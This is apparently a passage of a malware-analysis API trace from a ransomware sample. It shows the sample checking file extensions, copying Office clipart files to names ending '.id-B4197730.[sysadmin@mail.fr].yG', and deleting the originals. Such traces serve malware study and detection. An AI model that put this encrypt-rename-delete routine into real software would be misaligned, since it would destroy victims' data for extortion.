	[0149.269] lstrlenW (lpString=".1cd") returned 4
	[0149.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0149.269] lstrlenW (lpString=".jpg") returned 4
	[0149.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0149.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0149.269] lstrlenW (lpString=".doc") returned 4
	[0149.269] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.269] lstrlenW (lpString=".docx") returned 5
	[0149.269] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.269] lstrlenW (lpString=".pdf") returned 4
	[0149.269] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.269] lstrlenW (lpString=".xls") returned 4
	[0149.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.270] lstrlenW (lpString=".xlsx") returned 5
	[0149.270] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.270] lstrlenW (lpString=".ppt") returned 4
	[0149.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0149.270] lstrlenW (lpString=".zip") returned 4
	[0149.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.270] lstrlenW (lpString=".rar") returned 4
	[0149.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.270] lstrlenW (lpString=".bz2") returned 4
	[0149.270] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.270] lstrlenW (lpString=".7z") returned 3
	[0149.270] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0149.270] lstrlenW (lpString=".dbf") returned 4
	[0149.270] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0149.270] lstrlenW (lpString=".1cd") returned 4
	[0149.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0149.271] lstrlenW (lpString=".jpg") returned 4
	[0149.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.271] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0149.271] lstrlenW (lpString="FLAP.WMF") returned 8
	[0149.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0149.296] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=2070) returned 1
	[0149.296] CloseHandle (hObject=0x554) returned 1
	[0149.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 0x220
	[0149.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0149.298] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.298] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0149.320] GetLastError () returned 0x0
	[0149.320] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x816, lpOverlapped=0x0) returned 1
	[0149.322] WriteFile (in: hFile=0x558, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x820, lpOverlapped=0x0) returned 1
	[0149.323] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.323] WriteFile (in: hFile=0x558, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xe4, lpOverlapped=0x0) returned 1
	[0149.324] SetEndOfFile (hFile=0x558) returned 1
	[0149.324] CloseHandle (hObject=0x558) returned 1
	[0149.324] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.324] SetEndOfFile (hFile=0x554) returned 1
	[0149.331] CloseHandle (hObject=0x554) returned 1
	[0149.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0149.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 1
	[0149.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0149.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0149.333] lstrlenW (lpString=".doc") returned 4
	[0149.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.333] lstrlenW (lpString=".docx") returned 5
	[0149.333] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0149.333] lstrlenW (lpString=".pdf") returned 4
	[0149.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.333] lstrlenW (lpString=".xls") returned 4
	[0149.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.333] lstrlenW (lpString=".xlsx") returned 5
	[0149.333] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0149.333] lstrlenW (lpString=".ppt") returned 4
	[0149.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0149.333] lstrlenW (lpString=".zip") returned 4
	[0149.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.333] lstrlenW (lpString=".rar") returned 4
	[0149.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.333] lstrlenW (lpString=".bz2") returned 4
	[0149.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.334] lstrlenW (lpString=".7z") returned 3
	[0149.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0149.334] lstrlenW (lpString=".dbf") returned 4
	[0149.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0149.334] lstrlenW (lpString=".1cd") returned 4
	[0149.334] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0149.334] lstrlenW (lpString=".jpg") returned 4
	[0149.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0149.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0149.334] lstrlenW (lpString=".doc") returned 4
	[0149.335] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.335] lstrlenW (lpString=".docx") returned 5
	[0149.335] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0149.335] lstrlenW (lpString=".pdf") returned 4
	[0149.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.335] lstrlenW (lpString=".xls") returned 4
	[0149.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.335] lstrlenW (lpString=".xlsx") returned 5
	[0149.335] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0149.335] lstrlenW (lpString=".ppt") returned 4
	[0149.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0149.335] lstrlenW (lpString=".zip") returned 4
	[0149.335] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.335] lstrlenW (lpString=".rar") returned 4
	[0149.335] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.335] lstrlenW (lpString=".bz2") returned 4
	[0149.335] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.336] lstrlenW (lpString=".7z") returned 3
	[0149.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0149.336] lstrlenW (lpString=".dbf") returned 4
	[0149.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0149.336] lstrlenW (lpString=".1cd") returned 4
	[0149.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0149.336] lstrlenW (lpString=".jpg") returned 4
	[0149.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.336] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0149.336] lstrlenW (lpString="HH00231_.WMF") returned 12
	[0149.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0149.338] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=2232) returned 1
	[0149.338] CloseHandle (hObject=0x554) returned 1
	[0149.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x220
	[0149.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0149.339] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.339] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0149.339] GetLastError () returned 0x0
	[0149.339] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x8b8, lpOverlapped=0x0) returned 1
	[0149.341] WriteFile (in: hFile=0x558, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x8c0, lpOverlapped=0x0) returned 1
	[0149.342] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.342] WriteFile (in: hFile=0x558, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0149.342] SetEndOfFile (hFile=0x558) returned 1
	[0149.343] CloseHandle (hObject=0x558) returned 1
	[0149.343] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.343] SetEndOfFile (hFile=0x554) returned 1
	[0149.345] CloseHandle (hObject=0x554) returned 1
	[0149.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0149.346] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 1
	[0149.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0149.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0149.347] lstrlenW (lpString=".doc") returned 4
	[0149.347] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.347] lstrlenW (lpString=".docx") returned 5
	[0149.347] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.347] lstrlenW (lpString=".pdf") returned 4
	[0149.347] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.347] lstrlenW (lpString=".xls") returned 4
	[0149.347] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.347] lstrlenW (lpString=".xlsx") returned 5
	[0149.347] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.347] lstrlenW (lpString=".ppt") returned 4
	[0149.347] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0149.347] lstrlenW (lpString=".zip") returned 4
	[0149.347] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.347] lstrlenW (lpString=".rar") returned 4
	[0149.347] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.347] lstrlenW (lpString=".bz2") returned 4
	[0149.347] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.348] lstrlenW (lpString=".7z") returned 3
	[0149.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0149.348] lstrlenW (lpString=".dbf") returned 4
	[0149.348] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0149.348] lstrlenW (lpString=".1cd") returned 4
	[0149.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0149.348] lstrlenW (lpString=".jpg") returned 4
	[0149.348] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0149.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0149.348] lstrlenW (lpString=".doc") returned 4
	[0149.348] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.348] lstrlenW (lpString=".docx") returned 5
	[0149.348] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.348] lstrlenW (lpString=".pdf") returned 4
	[0149.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.348] lstrlenW (lpString=".xls") returned 4
	[0149.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.348] lstrlenW (lpString=".xlsx") returned 5
	[0149.348] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.348] lstrlenW (lpString=".ppt") returned 4
	[0149.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0149.349] lstrlenW (lpString=".zip") returned 4
	[0149.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.349] lstrlenW (lpString=".rar") returned 4
	[0149.349] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.349] lstrlenW (lpString=".bz2") returned 4
	[0149.349] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.349] lstrlenW (lpString=".7z") returned 3
	[0149.349] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0149.349] lstrlenW (lpString=".dbf") returned 4
	[0149.349] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0149.349] lstrlenW (lpString=".1cd") returned 4
	[0149.349] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0149.349] lstrlenW (lpString=".jpg") returned 4
	[0149.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.349] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0149.349] lstrlenW (lpString="HH00235_.WMF") returned 12
	[0149.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0149.351] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=1026) returned 1
	[0149.351] CloseHandle (hObject=0x554) returned 1
	[0149.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x220
	[0149.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0149.352] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.352] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0149.352] GetLastError () returned 0x0
	[0149.352] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x402, lpOverlapped=0x0) returned 1
	[0149.527] WriteFile (in: hFile=0x558, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x410, lpOverlapped=0x0) returned 1
	[0149.529] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.529] WriteFile (in: hFile=0x558, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0149.529] SetEndOfFile (hFile=0x558) returned 1
	[0149.529] CloseHandle (hObject=0x558) returned 1
	[0149.529] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.529] SetEndOfFile (hFile=0x554) returned 1
	[0149.532] CloseHandle (hObject=0x554) returned 1
	[0149.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0149.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 1
	[0149.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0149.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0149.814] lstrlenW (lpString=".doc") returned 4
	[0149.814] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.814] lstrlenW (lpString=".docx") returned 5
	[0149.814] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.814] lstrlenW (lpString=".pdf") returned 4
	[0149.814] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.814] lstrlenW (lpString=".xls") returned 4
	[0149.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.815] lstrlenW (lpString=".xlsx") returned 5
	[0149.815] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.815] lstrlenW (lpString=".ppt") returned 4
	[0149.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0149.815] lstrlenW (lpString=".zip") returned 4
	[0149.815] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.815] lstrlenW (lpString=".rar") returned 4
	[0149.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.815] lstrlenW (lpString=".bz2") returned 4
	[0149.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.815] lstrlenW (lpString=".7z") returned 3
	[0149.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0149.815] lstrlenW (lpString=".dbf") returned 4
	[0149.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0149.815] lstrlenW (lpString=".1cd") returned 4
	[0149.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
